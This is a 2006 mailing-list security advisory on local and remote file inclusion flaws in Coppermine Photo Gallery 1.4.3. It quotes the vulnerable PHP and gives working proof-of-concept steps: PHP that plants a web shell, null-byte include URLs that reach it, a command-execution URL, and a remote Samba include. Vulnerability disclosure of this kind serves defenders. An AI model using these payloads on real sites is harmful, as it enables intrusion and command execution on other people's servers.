<<< Date Index >>>     <<< Thread Index >>>

Coppermine Photo Gallery <=1.4.3 remote code execution



- Coppermine Photo Gallery <= 1.4.3 arbitrary local/remote inclusion: ---------

- 18/02/2006 5.09.55 -----------------------------------------------------------
--------------------------------------------------------------------------------
software:
site: http://coppermine-gallery.net/index.php
description: "Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick as
image library with a MySQL backend."
--------------------------------------------------------------------------------

i)
vulnerable code in include/init.inc.php near lines 308-343, processing
"lang" argument

...
// Process language selection if present in URI or in user profile or try
// autodetection if default charset is utf-8
if (!empty($_GET['lang']))
{
    $USER['lang'] = $_GET['lang'];           [!!!!!!!!!!!!!!]
}

if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' 
. $USER['lang'] . '.php'))
{
    $CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
    $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
}
elseif ($CONFIG['charset'] == 'utf-8')
{
    include('include/select_lang.inc.php');
    if (file_exists('lang/' . $USER['lang'] . '.php'))
    {
        $CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
        $CONFIG['lang'] = $USER['lang']; // [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
    }
}
else
{
    unset($USER['lang']);
}

if (isset($CONFIG['default_lang']) && 
($CONFIG['default_lang']==$CONFIG['lang']))
{
        unset($CONFIG['default_lang']);
}
if (!file_exists("lang/{$CONFIG['lang']}.php")) 
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
  $CONFIG['lang'] = 'english';

// We load the chosen language file
require "lang/{$CONFIG['lang']}.php";  [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
...

without to be logged in, arbitrary local inclusion, poc:

look at [!!!!!], code is like this:

...
$USER['lang'] =  $_GET['lang'];
...
$CONFIG['lang'] = $USER['lang'];
...
if (!file_exists("lang/{$CONFIG['lang']}.php"))
  $CONFIG['lang'] = 'english';
...
require "lang/{$CONFIG['lang']}.php";

you have only to supply an existing file using ../ and a null char...
(also regardless of magic_quotes_gpc settings, because of Coppermine disable
code)

you will have no output because is disabled, but you can proceed so:

upload a malicious zip file , inside we have php code like this:

<?php
     $suntzu=fopen("shell.php","w");
     fputs($suntzu,"<?php system(\$HTTP_GET_VARS[CMD]);?>");
     fclose($suntzu);
     chmod("shell.php",777);
?>

now:

http://[target]/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00

(.zip file contempt is not checked like images and in userpics/ folder we have
a folder numbered like 10000 + userid, you can easily and quicly bruteforce url
to find the malicious file)

if you succeed you can launch commands on target system:

http://[target]/[path]/shell.php?CMD=ls%20-la
---------------------------------------------------------------------------------
ii)

vulnerable code in docs/showdoc.php at line 21:

...
if (isset($_REQUEST['f'])) { $file = $_REQUEST['f']; } else { $file = ''; }
...

...
// harden against expolits: check the requested vars, replace illegal chars
$file = stripslashes($file);                                       [!]
$forbidden_chars = array("..", "/", "%", "<", ">", "$", "'", '"'); [!!]
$file = str_replace($forbidden_chars, '', $file);                  [!!!]
ob_start();
@include($file);                                                   [!!!!]
...

poc: http://[target]/[path]/docs/showdoc.php?f=c:\boot.ini
     http://[target]/[path]/docs/showdoc.php?f=\\192.168.1.2\c\shell.php

(the last one from a samba resource...)

if magic_quotes_gpc=on, "c:\\boot.ini" after stripslashes becomes "c:\boot.ini"
(cause striplashes do not remove all "\"s )
and "\\\\192.168.1.2\\c\\shell.php" becomes "\\192.168.1.2\c\shell.php"

poc 2: http://[target]/[path]/docs/showdoc.php?f=c:\\boot.ini
       http://[target]/[path]/docs/showdoc.php?f=\\\\192.168.1.2\\c\\shell.php

if magic_quotes_gpc=off:
"f" becomes "c:\boot.ini" or "\\192.168.1.2\c\shell.php"

so you can include local and external (Samba) resources regardless of
magic_quotes_gpc settings
________________________________________________________________________________

full proof of concept exploit for i) at this url:

http://retrogod.altervista.org/cpg_143_incl_xpl.html
________________________________________________________________________________

rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original advisory: http://retrogod.altervista.org/cpg_143_adv.html
--------------------------------------------------------------------------------